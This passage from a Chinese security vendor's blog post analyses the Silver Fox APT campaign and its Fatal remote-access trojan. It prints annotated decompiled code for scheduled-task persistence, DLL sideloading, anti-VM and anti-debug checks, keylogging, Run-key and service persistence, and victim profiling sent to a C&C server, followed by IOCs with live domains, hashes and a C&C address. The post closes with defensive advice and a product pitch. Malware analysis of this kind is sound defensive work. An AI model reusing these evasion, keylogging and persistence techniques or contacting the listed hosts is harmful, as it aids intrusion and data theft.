if (local_380 == (longlong *)0x0) goto LAB_18004493a;// 执行IRegistrationInfo::put_Author,设置计划任务Author=Microsoft-Corporation(**(code **)(*local_2f8[0] + 0x50))(local_2f8[0],*local_380);SysFreeString_u1(&local_380);(**(code **)(*local_388 + 0x78))(local_388,&local_358);    // 设置计划任务只允许在 用于登录到计算机的交互式会话中运行(**(code **)(*local_358 + 0x70))(local_358,3);// 设置计划任务以高权限运行(**(code **)(*local_358 + 0x90))(local_358,1);(**(code **)(*local_388 + 0x58))(local_388,&local_360);// 设置计划任务如果错过则忽略本次运行(**(code **)(*local_360 + 0xb0))(local_360,0xffffffff);(**(code **)(*local_360 + 0x138))(local_360,local_2e0); 
复制代码


180044706488b01             MOV     RAX, qword ptr [param_1]1800447094c 8d 8588010000 LEAparam_3=>local_2f0, [RBP + 0x188]1800447104c 89442440MOV     qword ptr [RSP + local_538], param_31800447154c 8d 8424500000LEA     param_3=>local_528, [RSP + 0x50]18004471a 4c 89442438MOV     qword ptr [RSP + local_540], param_318004471f c7 442430030000MOV     dword ptr [RSP + local_548], 0x3...1800447274c 8d 8580 ff ff ffLEA     param_3=>local_4f8, [RBP + -0x80]18004472b4c 89442428MOV     qword ptr [RSP + local_550], param_31800447304c 8d 85 e0 ff ff ffLEA     param_3=>local_498, [RBP + -0x20]1800447344c 89442420MOV     qword ptr [RSP + local_558], param_318004473941 b9 06000000MOV     param_4, 0x618004473f4c 8b85 f0 000000 MOVparam_3, qword ptr [RBP + local_3f0]; 执行ITaskFolder::RegisterTaskDefinition180044746 ff 9088000000CALL    qword ptr [RAX + 0x88]
复制代码


4. 样本利用一个合法的、带有数字签名的程序(白程序)去加载恶意的 msedge_elf.dll。这个 DLL 导出了 GetInstallDetailsPayload 等函数,但其真正的核心是 Llq 函数,也就是 Fatal 远控木马的主体。

 两个导出函数最终执行 Llq 函数。

 Llq 函数首先对运行环境进行检测,判断是否运行在虚拟机环境中及是否存在调试工具。

 iVar2 = FUN_100031fc();/* ldt检测虚拟机、gdt检测虚拟机、TS寄存器检测、注册表查询硬件名称检测虚拟机 */if ((((iVar2 == 0) && (cVar1 = FUN_100033e8(), cVar1 == '\0')) && ((cVar1 = FUN_100033fb(), cVar1 == '\0'))) && ((cVar1 = FUN_10003417(), cVar1 == '\0') && ((cVar1 = FUN_10003442(), cVar1 == '\0')))) {  /* 检测C:\Users\vbccsb目录是否存在 */  FUN_10003106();  /* SEH反调试 */  iVar2 = FUN_10003150();  if (iVar2 != 0) {    (*(code *)0x0)();     }  iVar2 = FUN_10003306();  /* 获取explorer.exe进程ID */  uVar3 = (*(code *)0x0)();           /* 判断父进程是否等于explorer.exe则 */           uVar4 = FUN_10003273(uVar3);  if ((iVar2 == 0) == uVar4) {    (*(code *)0x0)();     }  /* 检测逻辑处理器是否小于4 */  iVar2 = FUN_10002b4b(4);  if (iVar2 != 0) {    (*(code *)0x0)();     }
复制代码


/* 判断执行指令"xchg eax, ebx"增长的CPU计数器数值>255则退出程序 */iVar1 = FUN_10002f80(0xff);if (iVar1 != 0) {  (*(code *)0x0)();   }/* 通过sidt和sgdt指令获取 IDT和GDT的基地址来检测虚拟环境 */iVar1 = FUN_10002f9e();if (iVar1 != 0) {  (*(code *)0x0)();   }/* 通过 I/O端口0x5658检测虚拟机 */iVar1 = FUN_10002fda();if (iVar1 != 0) {  (*(code *)0x0)();   }/* 通过STR指令检测虚拟机 */iVar1 = FUN_10003051();if (iVar1 != 0) {  (*(code *)0x0)();   }/* 通过vpcext指令区分物理机与虚拟机 */iVar1 = FUN_10003098();if (iVar1 != 0) {  (*(code *)0x0)();   (*(code *)0x0)(0);}
复制代码

启用键盘记录功能,将用户的按键信息(包括窗口标题)加密后写入 %APPDATA%\Fatal.key 文件。

do {  (*(code *)0x0)(10);   iVar5 = (*(code *)0x0)(&local_260);  if (iVar5 != 0) {    /* 获取当前窗口标题内容及当前系统时间 字符与0x64异或得到的数据写入文件    如果%APPDATA%目录存在则写入到%APPDATA%\Fatal.key    不存在则写入到C:\Windows\Fatal.key */    iVar5 = FUN_10004d5a0;    if (iVar5 == 0) {      FUN_10004c29(&local_260);      (*(code *)0x0)(&local_260,0,600);       } else {        /* 字符串"[内容]:" */        FUN_10004c29(&DAT_10023f2c);        FUN_10004c29(&local_260);        (*(code *)0x0)(&local_260,0,600);         }      }      /* 记录按键内容并写入文件 */  local_8 = 0;  do {    /* user32_GetKeyState */    sVar1 = (*(code *)0x0)(0x10);             iVar5 = *(int *)(&DAT_10023840 + local_8);    /* user32_GetAsyncKeyState */    uVar3 = (*(code *)0x0)(iVar5);             if ((uVar3 & 0x8000) == 0) {      iVar6 = local_660[iVar5];      if (iVar6 == 0) goto LAB_10005059;
复制代码

获取进程中 rundll32.exe 程序并终止运行。

undefined local_11;undefined local_10;undefined local_f;undefined local_e;undefined local_d;undefined local_c;undefined local_b;undefined local_a;undefined local_9;undefined local_8;local_8 = 0;/* 获取rundll32.exe进程ID */local_14 = 0x72;local_13 = 0x75;local_12 = 0x6e;local_11 = 100;local_10 = 0x6c;local_f = 0x6c;local_e = 0x33;local_d = 0x32;local_c = 0x2e;local_b = 0x65;local_a = 0x78;local_9 = 0x65;iVar1 = FUN_1000d64e(&local_14);if (iVar1 != 0) {  /* kernel32模块WinExec函数执行taskkill /f /im rundll32.exe */  (*(code *)0x0)(&DAT_100232f0,0);   }return;
复制代码

通过获取本地时间秒数并进行死循环等待,进一步拖延恶意行为的触发。

voidFUN_10003554(void){uint uVar1;                 undefined local_14 [12];ushort local_8;    /* kernel32_GetLocalTime 获取时间秒数 */(*(code *)0x0)(local_14); uVar1 = (uint)local_8;if (uVar1 < 0x2e) {  /* 如果获取的时间秒数小于等于45,则得到的数值=秒数-8  如果大于则 得到的数值=秒数-45 */  uVar1 = uVar1 + 8;} else {  uVar1 = uVar1 - 0x2d;}do {   /* 死循环,直到获取的时间秒数等于特定值则结束循环执行后续 */  (*(code *)0x0)(local_14);while (local_8 != uVar1);return;}
复制代码

根据内置标志位,选择不同的持久化方式,如复制自身到 %Appdata%目录、添加 Run 注册表启动项或创建自启动服务。

if (DAT_100273d8 == 0) {/* 将当前主程序与所需要的恶意dll复制到%Appdata%\Roaming目录并通过WinExec函数执行复制后的恶意程序,退出当前程序 */  FUN_1000beb60();elseif (DAT_100273d8 == 1) {  /* 添加注册表启动项Software\Microsoft\Windows\CurrentVersion\Run\SVP7 启动恶意程序持久化 */  FUN_1000c0b20();elseif (DAT_100273d8 == 2) {    /* 创建自启动服务 */  FUN_1000c3170();}return0;
复制代码

疯狂搜集受害主机的各类信息(Windows 版本、CPU/GPU、内存、已安装的防护软件、摄像头等),形成详细的“受害者画像”,并最终打包通过 Socket 连接发送到 C&C 服务器。

local_30c[0] = 0x9c;(*(code *)0x0)(local_30c);                     /* RtlGetNtVersionNumbers 函数获取windows版本信息 */                     iVar2 = FUN_10009a43(&local_c, &local_10, &local_14);if (iVar2 != 0) {  local_270 = local_c;  local_26c = local_10;  local_268 = local_14;}/* 获取进程 x32|x64 */iVar2 = FUN_10009a030;local_244 = iVar2 != 0;/* 获取CPU频率-系统信息 */FUN_10009913(local_264);local_74[0] = 0x40;(*(code *)0x0)(local_74); local_240 = FUN_10016410; (*(code *)0x0)();iVar2 = (*(code *)0x0)(&DAT_1001ffb0, 0, 0x17, &DAT_1001ffa0, &local_8);         if (-1 < iVar2) {  (**(code **)(local_8 + 0x48))(local_8, 0);}local_6e4[0] = 0x17c;/* IDirectDraw2::GetCaps */(**(code **)(local_8 + 0x2c))(local_8, local_6e4, 0);/* 通过COM接口获取图像显存大小 */(**(code **)(local_8 + 8))(local_8);local_100 = 0;local_24 = 8;local_124 = local_6a8 / 0xf8100;
复制代码


local_250 = param_2;/* 收集系统安装防护软件信息 */uVar1 = FUN_10009a8c();FUN_1001628c(local_1f6, uVar1);/* 通过COM接口获取视频输入设备数量 */local_24c = FUN_100097ee();uVar1 = FUN_1000b5e8();(*(code *)0x0)(local_120, uVar1); FUN_100099b7(local_23c, 0x32, local_568);(*(code *)0x0)(local_fc, &DAT_100273a8); FUN_1001628c(local_e8, &DAT_1002503c);local_464 = 0;local_1c = 0x100;puVar3 = &local_463;for (iVar2 = 0x3f;     iVar2 != 0;     iVar2 = iVar2 + -1) {  *puVar3 = 0;  puVar3 = puVar3 + 1;}*(undefined2 *)puVar3 = 0;  *(undefined *)((int)puVar3 + 2) = 0;/* 获取用户名称 */(*(code *)0x0)(&local_464, &local_1c); (*(code *)0x0)(&DAT_10025060, &local_464);FUN_1001628c(local_b6, &local_464);/* Send函数发送数据包 */FUN_10002785(&local_364, 0x2f0);return;
复制代码

通过对进程内存特征匹配,以及行为特征判断,确定为 Fatal 远控木马。

IOC

key2025.oss-cn-hongkong.aliyuncs.comwww.llq.top文件名:0WTP95k.exe          SHA-256:aa7400bd5bc2b21169b34f61b678be7162061e68031ccbf80321db119977f078文件名:msedge_elf.dllSHA-256:36fc31253dbc1148cb37af2898220a7655e2ebef3be28da8599d0a81e60929ad文件名:软件安装程序Installerk2.exeSHA-256:a16f52fe75105b31f3e243f16b244a943f5daef56802f45b0d79421a49bd657f文件名:2025.binSHA-256:80b7c8193f287b332b0a3b17369eb7495d737b0e0b4e82c78a69fa587a6bcf91C&C:18.163.30.50:8081
复制代码

06 快人一步,验证你的安全防御体系

银狐的狩猎过程到这里就告一段落了,但它留给我们的思考才刚刚开始。对于技术爱好者和安全工程师来说,银狐的案例为我们提供了绝佳的学习和思考素材。我们该如何防御这样静默的刺客?

1. 从入口思考,我们是否真正做到了资产的全覆盖扫描和及时的补丁管理?一个被忽略的边界设备或是一个不能打补丁的老旧系统或是一个迷失的/静默的 IT 资产 可能就是银狐的下一个入口。

2. 从横向思考,当攻击者已经进入内网,我们能否通过微隔离、行为异常分析(UEBA)等技术,有效限制其移动范围?凭证的获取与滥用是否能被及时发现?

3. 从出口思考,我们对数据的外发有足够的可见性吗?除了传统的 DLP,我们能否识别出那些伪装成正常流量的、低速率的隐蔽数据隧道?

纸上谈兵终觉浅,绝知此事要躬行。为了帮助企业更直观地理解并验证自身对银狐这类威胁的防御能力,塞讯验证的攻击库中已经完整收录了银狐(APT-C-43)的自动化攻击剧本,你可以在安全可控的环境下,一键发起对自身防御体系的实战演练,亲眼看看你的防火墙、IPS、NTA、NDR、EDR、SIEM 在真正的银狐面前表现如何,从而找到防御盲区,加固安全防线。


 

毕竟,在与“银狐”的对抗中,唯一能战胜其耐心的,只有我们持续不断的验证与改进。

用户头像

塞讯科技

关注

塞讯安全验证 | 塞讯可观测 2025-04-01 加入

构建智能化的数字业务韧性体系,赋能企业数字化转型与业务创新。

评论

发布
暂无评论
深度剖析银狐APT攻击链,最终载荷竟是致命远控_网络安全_塞讯科技_InfoQ写作社区